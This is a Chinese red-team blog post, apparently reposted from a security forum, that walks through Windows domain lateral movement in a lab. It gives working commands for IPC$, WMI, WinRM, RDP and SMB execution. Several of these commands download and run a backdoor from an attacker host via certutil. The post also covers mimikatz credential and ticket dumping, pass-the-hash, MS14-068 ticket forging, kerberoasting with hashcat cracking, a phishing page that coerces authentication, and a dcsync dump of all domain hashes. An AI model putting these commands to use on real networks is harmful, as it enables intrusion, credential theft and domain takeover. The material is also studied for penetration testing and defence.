内网对抗-横向移动手法大全

发布于2025年6月13日2025年7月25日作者:cve-20

内网对抗-横向移动手法大全

MeteorKai 乌雲安全 2025-06-13 00:31

原文首发在：先知社区

https://xz.aliyun.com/news/18020

收集到域内用户和凭据后，为后续利用各种协议密码喷射通讯上线提供条件。这里注意域内域外是有差异的。

我们需要判断当前获得的权限是域内的还是域外的，如一个计算机有两个角色，一个是Meteor_Kai，对应域外用户，一个是webadmin，对应域内用户。

钓鱼攻击可能获得域内用户也可能获得域外用户。

判断域内域外很好判断，随便使用一个域内查询命令即可，看会不会正常回显。

net user /domain

如果是域外用户，那么我们内网域横向移动的手法也就不一定能用了。

域外用户

1.假设我们上线的是administrator，如果我们收集内网域的信息，很大可能会失败。同时不能正常通讯内网域。我们可以尝试提权到system，system是无敌的你可能这么想。

2.也可以通过其他用户上线来转到域内用户，cs上线后使用mimikatz抓取明文密码，进行密码的收集后进行其他用户上线。

3.也可以通过以下工具来进行域内用户的枚举

https://github.com/ropnop/kerbrute

kerbrute_windows_amd64.exe userenum –dc ip -d 域名字典文件

这里要注意一下mimikatz在win10或者2012R2以上，内存中默认禁止缓存明文密码，获取到的是hash。可以通过修改注册表的方式进行抓取，但需重启后重新登陆时才能抓取，实战中不太好啊！

无论是获取的是域内还是域外，一般都需要提权，权限太低是无法抓取明文密码的。

横向移动

基于口令凭据横向移动

ipc smb wmi dcom winrs winrm rdp等

pth基于hash传递， ptt基于票据（ticket）传递， ptk基于key传递

基于漏洞

域控提权漏洞 Exchange漏洞攻防

基于配置

委派 dysnc asrep kerberos攻击 ntlmreply

基于口令凭据

口令凭据的横向移动手段是不会被域环境（如子域父域域森林等）影响的。

IPC

IPC$(Internet Process Connection)是共享”命名管道”的资源，它是一个用于进程间通信的开放式命名管道，通过提供一个可信的用户名和密码，连接双方可以建立一个安全通道并通过这个通道交换加密数据，从而实现对远程计算机的访问。需要使用目标系统用户的账号密码，使用139、445端口。

建立IPC链接到目标主机
拷贝要执行的命令脚本到目标主机
查看目标时间，创建计划任务，定时执行拷贝到的脚本
删除IPC链接

建立IPC失败的原因：

目标系统不是NT或以上的操作系统
对方没有打开IPC$共享
对方未开启139、445端口，或者被防火墙屏蔽
输出命令、账号密码有错误

#建立IPC常见的错误代码
（1）5：拒绝访问，可能是使用的用户不是管理员权限，需要先提升权限
（2）51：网络问题，Windows 无法找到网络路径
（3）53：找不到网络路径，可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
（4）67：找不到网络名，本地Lanmanworkstation服务未启动，目标删除ipc$
（5）1219：提供的凭据和已存在的凭据集冲突，说明已建立IPC$，需要先删除
（6）1326：账号密码错误
（7）1792：目标NetLogon服务未启动，连接域控常常会出现此情况
（8）2242：用户密码过期，目标有账号策略，强制定期更改密码

IPC$利用命令如下：

建立IPC链接
上线Administrator权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator #工作组
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator #工作组
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin #域内

上线webadmin权限
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator #理解为登录域内的administrator
net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator #工作组
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin #域内

net use \\192.168.3.32\ipc$ /del

net use #查看ipc连接
dir \\xx.xx.xx.xx\C$\ #查看文件列表
将后门文件复制到目标主机的C盘
copy 3232.exe \\192.168.3.32\C$

#然后通过计划任务来执行后门文件
[at] & [schtasks]计划任务配合
1、at < Windows2012
copy beacon.exe \\192.168.3.21\c$  #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe   #添加计划任务

2、schtasks >=Windows2012
copy beacon.exe \\192.168.3.32\c$  #拷贝执行文件到目标机器
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\3232.exe /F #创beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.32 /tn beacon /f#删除beacon任务

上线web主机后，与sql主机建立IPC连接

shell net use \192.168.3.32\ipc$ “admin!@#45
”

/user:sqlserver\administrator

然后生成一个正向后门

copy后门到3.32

查看是否成功

然后准备执行，利用计划任务。

那就换一种计划任务。

问了下小迪才知道是权限过低的原因，那么我们需要先提权。

试了半天，发现工作组的administrator可以，有点奇怪哦

成功运行计划任务，然后我们去主动连接即可，因为是正向后门。

connect 192.168.3.32 3232

总算成功！！！

但是以上操作不仅麻烦，还需要有明文密码才能进行，接下来的工具可以解决这些问题。

impact套件

https://github.com/fortra/impacket

都是python文件，把python文件传上去进行是不显示的，单单传上去就是一个问题，对方有没有python环境另说。

该工具是一个半交互的横向移动工具，适用于Socks代理下;本机运行，穿透目标。

在跳板机上建立socks节点，然后proxifier即可。

python atexec.py ./administrator:admin!@#[email protected] “ver”

接下来我们需要考虑的就是上线了。

可以考虑下载后门文件并执行或者powershell上线

先说第一种：目标是3网段的，只能跟3网段的通讯，但是我们只有跳板机可以与之通讯，要在跳板机开启下载的环境才行，不一定可行，流量也太大了，不推荐。

再说第二种：powershell无文件落地上线。

同时这个工具包也支持hash

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] “whoami”

然后配置一下proxifier即可

成功！！！

SMB

服务器消息块Server Message Block，又称网络文件共享系统，SMB服务通常由文件服务器提供，它允许客户端计算机通过网络访问服务器上的共享资源。通过SMB用户可以在网络上访问和共享文件夹、文件以及打印机，从而实现在不同计算机之间方便地共享数据和打印输出。利用SMB可通过明文或HASH传递来远程执行。

windows2012以上默认关闭了Wdigest，所以攻击者无法通过内存获取到明文密码，有四种方法解决：

利用（PTH,PTK）等进行移动不需要明文
利用其他服务协议（SMB/WMI等进行哈希移动）
利用注册表开启（wdigest auth）进行获取
利用工具或者第三方平台（Hashcat）进行破解获取
利用条件：
文件与打印机服务开启，默认开启
防火墙允许135、445端口通信
知道目标账户密码或HASH
若禁用了防火墙规则中的文件和打印机共享(SMB-In) 445端口的，那么就没法通过SMB来进行横向移动了。

利用1 psexec

交互式windows官方工具

https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools

PsExec.exe \192.168.3.32 -u administrator -p admin!@#45 -s cmd

执行后成功获取一个交互式的cmd，但是这种命令我们一般要在Web主机的cs上进行，cs是没有交互功能的。因此就完成不了。无法将cmd反弹到cs上进行。所以没有图形化一般就不用了。

psexec -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/[email protected]

利用2 smbexec-impacket

利用impacket套件的话，一般就是建立socks节点然后本机用套件开干。

python smbexec.py sqlserver/administrator:admin!@#[email protected]

python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/[email protected]

成功返回一个cmd，然后我们可以通过certutil来下载后门进行上线。

certutil -urlcache -split -f http://192.168.3.31/3232.exe c:/3232.exe
c:\3232.exe

利用3 cs插件

cs-psexec

也是成功上线了。

WMI

Windows Management Instrumentation,Windows 管理规范

从win2003开始一直存在，原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中，我们可以使用WMI进行横向移动，支持用户名明文或者hash方式进行认证，并且该方法不会在目标日志系统留下痕迹。

利用条件：

WMI服务开启，端口135，默认开启
防火墙允许135，445端口通信
知道目标的账户密码或hash

利用1 wmic

系统内置命令（单执行）缺陷：1.不知道回显 2.只支持明文，不支持hash

让目标下载后门执行后门

shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#45 process call create “certutil -urlcache -split -f http://192.168.3.31/3232.exe c:/3232.exe”

先把后门放到网站服务器，IIS网站服务器根目录在C:\inetpub\wwwroot

shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#45 process call create “c:/3232.exe”

然后connect正向连接

成功上线！

利用2 cscript

交互式不适用cs

cscript是windows自带的命令，但是这种方法不建议，因为要上传文件。而且cs无法做到交互式

上传wmiexec.vbs，实战中这个文件也是疯狂被杀的。

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

利用3 wmiexec-impacket

交互式支持hash

这种一般要用内网穿透的方法来进行，因为对方不一定有python环境，而且上传文件到目标机器本就是一个很不好的行为。

python wmiexec.py sqlserver/administrator:admin!@#[email protected]
python wmiexec.py sqlserver/administrator:admin!@#[email protected] "whoami"
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/[email protected] "whoami"

首先先建立一个socks节点

然后proxifier配置代理服务器

然后python执行即可。

获取一个shell

上线也就是很简单了。

python wmiexec.py sqlserver/administrator:admin!@#[email protected] "certutil -urlcache -split -f http://192.168.3.31/3232.exe c:/3232.exe"

python wmiexec.py sqlserver/administrator:admin!@#[email protected] "c:/3232.exe"

然后去cs正向连接即可上线！

以下展示hash的连接：

利用4 cs插件

wmihacker==cscript

DCOM

参考文章：
https://mp.weixin.qq.com/s/9u0kprGbaU1S1BEQWj18AA

Distributed Component Object Model（分布式组件对象模型），是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信，不论它们是运行在局域网、广域网、还是Internet上。利用这个接口，客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。

利用条件：

适用目标Win7系统以上，win7、win2008及其以上才有powershell，而这个DCOM的横向移动与powershell是密不可分的。
管理员权限 Powershell
远程主机防火墙未阻止

dcomexec-impacket

python dcomexec.py sqlserver/administrator:admin!@#[email protected]
python dcomexec.py sqlserver/administrator:admin!@#[email protected] whoami
python dcomexec.py sqlserver/administrator:@192.168.3.32 whoami -hashes :518b98ad4178a53695dc997aa02d455c

一直卡在这个界面了，感觉是环境问题。。

WinRM&WinRS

WinRM代表Windows远程管理，是一种允许管理员远程执行系统管理任务的服务

WinRS（remote shell）是内置的命令行工具，用于远程连接运行WinRM的服务器并执行大多数cmd命令

利用条件：

win2012之前利用需要手动开启WinRM，之后是默认开启的。
防火墙对5986、5985端口开放
1.探针可用：

端口扫描5985，在此之前我们先打开3.31的winrm服务

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

扫端口发现3.31和3.32的5985端口开放，可以通过此方法来横向移动。

2.连接执行：通过winrs来执行远程命令

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

反弹shell就是让他下载后门然后执行即可。

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 “cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/3232.exe 3232.exe & 3232.exe”

上述操作是在本机上进行的，是由图形化界面的，但是在cs上执行不了。。鸡肋了。

这又是为啥呢？小迪表示是cs命令终端的回显导致的。

实战中不太现实。解决办法也是有的，如下所示：（通过winrm.cmd来进行命令执行）

shell winrm invoke Create wmicimv2/win32_process @{CommandLine=”cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/3232.exe 3232.exe & 3232.exe”} -r:sqlserver -u:sqlserver\administrator -p:admin!@#45

由于是正向后门，然后我们去connect

cs插件按理来说也是可行的。
但是我试了不行。。莫非是cs问题？？还是环境问题？？不知道。。

RDP

远程桌面服务支持明文及Hash连接

条件：对方开启RDP服务远程桌面

1.探针连接：端口扫描3389

都开了。

接下来就是要利用RDP来进行横向移动了，我们直接跑到web主机上进行rdp远程连接？不现实！我们可以通过以下两种方式，在自己的攻击机上进行横向移动

1.端口转发映射

被控机是web服务器嘛，我们先给他搞个webshell后门，使用冰蝎中的内网穿透http隧道来完成。

我们目前连接是肯定连接不上的，毋庸置疑

开启http隧道，进行端口映射后

However，可能是因为流量太大了，不好搞啊！但是思路是没有问题的。

frp nps iox都需要把这个文件上传到3.32上才能

需要在目标机上传文件，由于我们本身就没有控制它，又怎么上传文件呢？臆想。。

唯一能解决的是http隧道，但又由于流量太大不可取了。因此还是下面的socks代理比较好！

2.socks代理

建立socks节点后然后本机上可以使用mstsc来进行rdp连接

SharpRDP

只支持明文连接

是一款可以不借助远程桌面GUI的情况下，通过RDP协议进行命令执行的程序

https://github.com/0xthirteen/SharpRDP

SharpRDP.exe computername=192.168.3.32 command=”certutil -urlcache -split -f http://192.168.3.31/3232.exe c:/3232.exe” username=Administrator password=admin!@#45

PTH&PTT&PTK

path the hash（哈希传递攻击）利用lm或ntlm的值进行的渗透测试（NTLM认证攻击）

path the ticket（票据传递攻击）利用票据凭证TGT进行渗透测试（Kerberos认证攻击）

path the key（密钥传递攻击）利用ekeys aes256进行的渗透测试（NTLM认证攻击）

逻辑思路：

明文传递 -> PTH -> PTT -> PTK（AES）

关于LM和NTLM文章：
https://y4er.com/posts/ntlm-hash-and-lm-hash/

PTH

利用思路：

1.利用直接的Hash传递。这里其实就是之前所说的通过hash来进行传递，而不是明文

1.mimikatz
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c #向计算机中写入内存，在当前电脑的内存中写入 连接3.32时采用administrator和后面的hash来连接
net use \\192.168.3.32\c$ #连接成功后就可以进行后续的IPC横向移动操作了

这里执行成功后执行dir是不可以的

然而，mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c该命令执行成功后，web主机会弹出一个cmd，要在这边dir才行阿巴阿巴。这种方法就不太现实了，因为需要图形化界面。。。

2.impacket套件

2.利用hash转成ptt传递

见ptt处利用NTLM

3.利用hash进行暴力破解明文

hashcat
利用枚举碰撞来破解

https://hashcat.net/hashcat/

hashcat -a 0 -m 1000 --force 518b98ad4178a53695dc997aa02d455c pass.txt
-m 1000代表NTLM类型

-m 密文类型

-a 破解类型

?l 小写

?s 符号

?d 数字

字典破解：

hashcat.exe -a 0 -m 1000 hash.txt pass.txt

暴力破解：（掩码爆破）

hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?l?l?s?s?s?d?d

4.修改注册表重启进行获取明文

后续会说

PTT

1.利用漏洞
2.利用NTLM
3.利用历史遗留
4.利用加密类型

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

https://github.com/gentilkiwi/kekeo/releases

一次详细的Kerberoast攻击演示：
https://www.freebuf.com/articles/system/174967.html

基于漏洞

1.漏洞-MS14068(webadmin权限)-利用漏洞生成的用户的新身份票据尝试认证

MS14-068 是密钥分发中心（KDC）服务中的Windows漏洞

它允许经过身份验证的用户在其Kerberos票证（TGT）中插入任意PAC

该漏洞位于kdcsvc.dll域控制器的密钥分发中心（KDC）中

用户可以通过呈现具有改变的PAC的Kerberos TGT来获取票证

获取SID值：shell whoami/user

S-1-5-21-1218902331-2157346161-1782232778-1132

然后上传exe

#利用漏洞生成票据
shell MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45

然后ls一下发现多出了票据文件

在没有导入票据之前我们dir是不行的。

shell klist #查看票据
shell klist purge  #清除票据连接

为了真实有效，我们先删除之前的票据

然后，我们使用mimikatz内存导入票据。

mimikatz kerberos::ptc [email protected]

接着我们klist一下

就是我们刚刚导入的票据！

然后就能正常dir等操作了。

shell net use \\OWA2010CN-God.god.org\C$
copy 3232.exe \\OWA2010CN-God.god.org\C$
sc \\OWA2010CN-God.god.org create bindshell binpath= "c:\3232.exe"
sc \\OWA2010CN-God.god.org start bindshell
注意：成功不成功看DC域控漏洞补丁打没打

然后可以dir一下，发现成功复制

上述注册binpath=后面的一个空格，不然会报help

然后执行任务，connect连接，成功上线dc

但是有个小bug？莫非是工具的问题？过了一小段时间就失效了，可能需要权限维持。

利用NTLM

这种方法其实就是之前PTH中利用hash转成ptt传递，下面的方法就是将NTLM生成一个票据来进行攻击。为什么呢？因为之前的PTH是通过hash来进行传递，同时是通过各种协议来进行横向移动的，如WMI,SMB等协议，而关于这些协议的横向移动可能会受到防火墙的影响，而这种Hash转成ptt传递可以规避防火墙的影响！

kekeo(高权限，需NTLM)-利用获取的NTLM生成新的票据尝试认证

因为当前主机肯定之前与其他主机连接过，所以本地应该生成了一些票据，我们可以导出这些票据，然后再导入票据，利用。该方法类似于cookie欺骗。

缺点：票据是有有效期的，所以如果当前主机在连接过域控的话，有效期内可利用。

#生成票据
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"

ls发现新生成了一个票据文件

#导入票据
shell kekeo "kerberos::ptt [email protected][email protected]" "exit"

接着我们klist一下发现成功导入

成功通信上了，上线操作其实就是之前的。这里就不重复了。。。

利用历史遗留

mimikatz(高权限,需Ticket)-利用历史遗留的票据重新认证尝试

在这台主机上登陆过域控或者域控主动登陆过你，那就会有记录。

#导出票据：
mimikatz sekurlsa::tickets /export

#注意一下，这里要用system权限来导出，否则会报error错误，因为权限太低

接着我们可以ls一下，发现多了好多东西

域内有策略限制，当我们执行一些操作如配置ip地址、安装软件、更改防火墙设置，是受到域控管理的，需要在计算机上登录域控用户，取得同意，要么就是在域控机子登录webserver，用域控的权限去操作他。不管是哪种方法，都会留下域控的登录信息，包括登陆的账号密码！所以我们就可以通过该历史遗留！

这个漏洞存在的关键点就是有没有与域控产生过连接。

接下来我们模拟产生连接！登陆一下。然后我们再导出票据，看看会不会多出什么东西。

额。。。没有多出来，莫非是这种PAC的账号密码输进去没用？试一下直接在web主机上登录域控账号。

然后再去导出一次！

芜湖！！！Administrator出来啦！

一般情况下我们先用40开头的，不行的话换60开头的。

#导入票据
mimikatz kerberos::ptt [0;10d05a][email protected]

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;22d3a][email protected]

在导入之前我们先尝试连接一下看看，当然是不可以的。

然后我们导入票据再连接，此处我把票据文件放到桌面上了，所以不用加路径！

芜湖成功啦！然后后面的工作大家都懂了，复制后门，创建服务，启动服务然后上线。

总结：曾经域控登陆过你的主机或者你登录过域控

利用加密类型

Rubeus&Impacket（高权限,需Ticket）-利用通讯的加密类型票据进行爆破明文，简单理解一下就是RC4加密类型比较容易破解，其实本质就是暴力破解票据！

Kerberos攻击条件：

采用rc4加密类型的票据，工具Rubeus&impacket检测或看票据加密类型

https://github.com/GhostPack/Rubeus

https://github.com/nidem/kerberoast

Kerberoasting攻击的利用：

SPN服务发现
请求服务票据
服务票据的导出
服务票据的暴力破解

SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符。
Kerberos认证过程使用SPN将服务实例与服务登录账户相关联，如果想使用 Kerberos 协议来认证服务，那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例，则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证，则给定服务实例可以具有多个SPN。SPN 始终包含运行服务实例的主机的名称，因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN，但一个SPN只能注册到一个账户。在内网中，SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言，可以帮助他们识别正在运行重要服务的主机，如终端，交换机等。SPN的识别是kerberoasting攻击的第一步。

判断加密类型可以通过手工和工具的方法，工具需要考虑免杀等

手工：

先用spn去获取有哪些通讯的服务

再去连接通讯这个服务产生票据

查看票据的加密通讯类型

手工判断加密类型

扫描当前域内服务

powershell setspn -T god.org -q */*
powershell setspn -T god.org -q */* |findstr "MSSQL"

#这行代码加载 System.IdentityModel 程序集，使 PowerShell 能够使用该程序集中的类，例如System.IdentityModel.Tokens.KerberosRequestorSecurityToken。
powershell Add-Type -AssemblyName System.IdentityModel

#请求 Kerberos 认证，获取一个用于访问 MSSQLSvc/SqlServer.god.org:1433 的 Kerberos 票据。
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SqlServer.god.org:1433"

klist发现啥也没有，这个不行。。

那么用mimikatz试试

#该命令的作用是 请求 SQL Server（MSSQLSvc）的 Kerberos 票据
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

klist发现多出了票据！

看会话密钥类型，说明这个票据采用的是AES-256-CTS-HMAC-SHA1-96加密。这种情况我们就玩不了，我们需要RC4！

工具判断加密类型

Rubeus berkeroast

impacket-getuserspns

我们先把Rubeus工具上传一下。

shell Rubeus kerberoast

此类攻击方法在当前主机不行，因为我们之前看过，加密类型不是RC4的

那么接下来我们换一个域环境-0day.org，上线有与kali同一网段的jack主机

#直接用工具判断票据加密类型
shell Rubeus kerberoast

存在攻击的点！以上是用Rubeus工具，接下来用impacket套件试试

首先在信息收集阶段，我们需要知道DC的ip地址

请求所有SPN服务器，并找到能破解的票据格式保存到hash.txt
python GetUserSPNs.py -request -dc-ip 192.168.3.142 0day.org/ja
ck:admin!@#45 -outputfile hash.txt

其实我们直接klist也可以知道加密类型

接下来再通过手工的方法重现一次

powershell setspn -T 0day.org -q */*
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

再尝试了一下powershell的方法，还是不行，那就用mimikatz吧。。

mimikatz kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433

成功后klist一下

出现了一个RC4的！可能可以利用。

上述无论是工具完成还是手工完成，下一步都应该是导出票据文件！（如果利用破解klist文件来破解的话）

mimikatz kerberos::list /export

然后就是破解啦！破解有两种方法。

破解Hash值
破解klist文件，也就是.kirbi文件

文件票据：python tgsrepcrack.py pass.txt "xx.kirbi"
HASH密文：hashcat -m 13100 hash.txt pass.txt --force

先示范第二种方法！破解klist文件

导出后下载到本地桌面即可。

破解的时候需要用到kerberoast工具包

python tgsrepcrack.py pass.txt F:\内网安全\横向移动\ptt票据攻击\kerberoast-master\1-40a00000-pc-jack-0day$@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

直接破解出来啦！Admin12345，我们可以看看dc上的说明，发现我们获取了sqlsvr的密码！

破解Hash值

把之前用impacket套件获取的hash.txt文件放到hashcat里

hashcat -m 13100 hash.txt /root/rockyou.txt –force

直接爆破出来啦！拿捏！

PTK

当系统安装了KB2871997补丁并且禁用了NTLM的时候，那我们抓取到的ntlm hash也就失去了作用，但是可以通过PTK的攻击方式获得权限。这个打了补丁才能玩呵呵。。没事，作为一种拓展吧。有点鸡肋啊。

#主要用于 提取 Windows LSASS 进程中的 EKeys（加密密钥）
mimikatz sekurlsa::ekeys

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
mimikatz sekurlsa::pth /user:sqlserver\administrator /domain:192.168.3.32 /aes256:39acf6c939cbfc4fd9cb36ef5aa417d2a36c4086f2e146bd663cc9885615d45e

这里拿god.org来试试

执行后web主机弹出一个shell，拥有system权限，但仍然是web主机的，没成功横向移动

因此这个横向移动就失败了。。。他有点鸡肋，要打补丁且禁用NTLM。

实战场景也不常见，太少了

委派（基于配置）

参考文章：
https://forum.butian.net/share/1591

委派是一种域内应用模式，是指将域内用户账户的权限委派给服务账号，服务账号因此能以用户的身份在域内展开活动（请求新的服务等），类似于租房中介房东的关系。

域委派分类：

1、非约束委派(Unconstrained Delegation, UD)

2、约束委派(Constrained Delegation, CD)

3、基于资源的约束委派(Resource Based Constrained Delegation, RBCD)

简而言之，非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个拓展协议限制服务账户只能访问指定服务资源。

RBCD主要就是委派的管理移交给服务资源进行控制，其余和约束性委派基本相同。

账户分类：

机器账户：计算机本身名称的账户，在域中computers组内的计算机。

主机账户：计算机系统的主机账户，用于正常用户登入计算机使用。

服务账户：计算机服务安装时创建的账户，用于运行服务时使用，不可用于登入计算机。

能不能通过委派这种方法来横向移动主要就是看dc上的设置，有没有设置主机账户、机器账户上的委派。如果设置不信任此计算机来源，那就是没有委派；如果是信任此计算机来委派任何服务就是非约束委派；如果是仅信任此计算机来委派指定的服务那就是约束委派。那么我们怎么知道其配置呢？？具体往下看！

非约束委派

机器A（域控）访问具有非约束委派权限的机器B的服务，会把当前认证用户（域管用户）的的TGT放在ST票据中，一起发送给机器B，机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户（域管用户）访问服务。

利用场景：攻击者拿到了一台配置非约束委派的机器权限，可以诱导域管来访问该机器，然后得到管理员的TGT，从而模拟域管用户。

复现配置：

1、信任此计算机来委派任何服务

2、setspn -U -A priv/test webadmin

设置机器账户的委派：

此处本来是没有委派选项的，我们可以通过以下命令来使他有该选项。

setspn -U -A priv/test webadmin

设置主机账户的委派：

然后把委派也改成信任此计算机来委派任何服务

判断是否设置委派：

查询域内设置了非约束委派的服务账户：
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的机器账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

首先把AdFind上传到web主机。（查询域内是否设置了非约束委派的服务账户）

查到了一个webadmin！接下来我们可以对比一下，如果我们把webadmin的委派去掉，回显如何？

（查询域内是否设置了非约束委派机器账户）如果返回0或者只有一个dc那就不存在委派攻击

然后就是委派攻击的利用了。

利用思路1：诱使域管理员访问机器

利用条件：

1、需要Administrator权限

2、域内主机的机器账户开启非约束委派

3、域控管理员远程访问（主动或被动）

利用过程：

1、域控与委派机器通讯

主动：

net use \webserver

钓鱼：（just like xss，钓鱼让对面访问你，从而产生票据）

http://192.168.3.31/31.html

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.31\2">
</body>
</html>

我觉得这种委派攻击神似PTT的利用历史遗留。

我们先在dc上模拟与委派机器通讯

对于钓鱼的方法这里也同步演示一下

给他传到web主机。这里我也直接改了个名，改成index.html了！

然后让域控在浏览器访问一下web主机的web服务

最好把31.html命令为index.html，那样的话直接访问首页就行，不容易被怀疑！

然后导出就行，一个道理，虽然我本地复现失败了，没有administrator的，环境问题？

2.导出票据到本地

mimikatz sekurlsa::tickets /export

生成了一堆。我们发现里面有个Administrator哦！应该就是之前dc访问时留下的票据文件了。

3.导入票据到内存

mimikatz kerberos::ptt [0;426589][email protected]

在此之前我们先尝试连接通讯域控。做个对比

然后我们导入票据

4.连接通讯域控

shell dir \owa2010cn-god\c$

成功通讯哦耶！

至于上线，就很简单了

shell net use \\owa2010cn-god\c$
shell copy 3232.exe \\owa2010cn-god\c$
shell sc \\owa2010cn-god create aaaa binpath= "c:\3232.exe"
shell sc \\owa2010cn-god start aaaa

成功上线！

利用思路2：结合打印机漏洞

利用条件：DC 2012以上
（重要，不然就报错用不了，而且网上说2012好像也不行，我这里用2016来做。）

1、Administrator权限监听

2、打印机服务spooler开启（默认开启）

这里我们使用内网域-打印机漏洞环境

首先设置机器账户和主机账户的委派

上线web主机，上线管理员＋域用户，提权就不演示了，土豆家族

把Rubeus和SpoolSample工具上传

利用过程：

1、监听来自DC的请求数据并保存文件

shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt

注意此处监听命令要以Administrator的权限去执行，不能以域用户的命令执行。否则产生的hash.txt中会有如下报错：

正确如下：

由于是监听状态，因此hash.txt为0b

域用户运行SpoolSample强制让DC请求

shell SpoolSample.exe dc web2016

执行完成后我们发现hash.txt中有数据了，把它下载下来

这个票据其实就是域控的票据，然后接下来我们通过Rubeus将票据导入到内存中

2、Rubeus监听到票据并导入该票据（域内用户进行）

shell Rubeus.exe ptt /ticket:xxx

为什么不用mimikatz导入呢？因为它的数据格式，它是由Rubeus监听得到的，自然就要用他来导入了。

我们注意将hash.txt中的票据处理一下换行

将票据成功导入到内存中，接下来可以用mimikatz导出内存中的hash！

3、使用mimikatz导出域内Hash（域内用户进行）

mimikatz lsadump::dcsync /domain:xiaodi8.com /all /csv

成功获取到hash，那么接下来我们可以通过之前说过的基于口令凭据，利用hash来进行横向移动

4、使用wmi借助hash横向移动

python wmiexec.py -hashes :e6f01fc9f2a0dc96871220f7787164bd xiaodi8.com/[email protected] -no-pass
python wmiexec.py -hashes :e6f01fc9f2a0dc96871220f7787164bd xiaodi8.com/[email protected] -no-pass

此处我用上面的不行，改成下面的ip形式则可以。要改hosts文件才能用上面那种！否则解析不了域名！会解析到外网去。

想要知道域控ip也很简单

使用域名的结果：

因此我们要改hosts文件

完美拿捏！

直接使用ip地址：

利用思路3：结果PetitPotam

适用于windows其他版本

结合NTLM Relay监听，后续讲到。

约束委派

由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。

S4U2self
协议允许服务代表任意用户请求访问自身服务的ST服务票据
S4U2proxy
协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据
约束委派限制了S4U2proxy协议的请求范围，使得配置了委派属性的服务只能模拟用户身份访问特定
的其他服务。

利用场景：

如果攻击者控制了服务A的账号，并且服务A配置了到域控的CIFS服务的约束性委派。

则攻击者可以先使用S4u2seflt申请域管用户（administrator）访问A服务的ST1，然后使用S4u2Proxy以administrator身份访问域控的CIFS服务，即相当于控制了域控。

复现配置：

1、机器设置仅信任此计算机指定服务-cifs

2、用户设置仅信任此计算机指定服务-cifs

CIFS，通用网络文件系统协议。CIFS 是一个新提出的协议，它使程序可以访问远程Internet计算机上的文件并要求此计算机提供服务。CIFS 使用
客户/服务器
模式。客户程序请求远在服务器上的服务器程序为它提供服务。服务器获得请求并返回响应。CIFS是公共的或开放的
SMB协议
版本，并由Microsoft使用。
SMB协议
在局域网上用于服务器文件访问和打印的协议。像SMB协议一样，CIFS在高层运行，而不像
TCP/IP协议
那样运行在底层。CIFS可以看做是
应用程序
协议如
文件传输协议
和
超文本传输协议
的一个实现。

配置约束委派

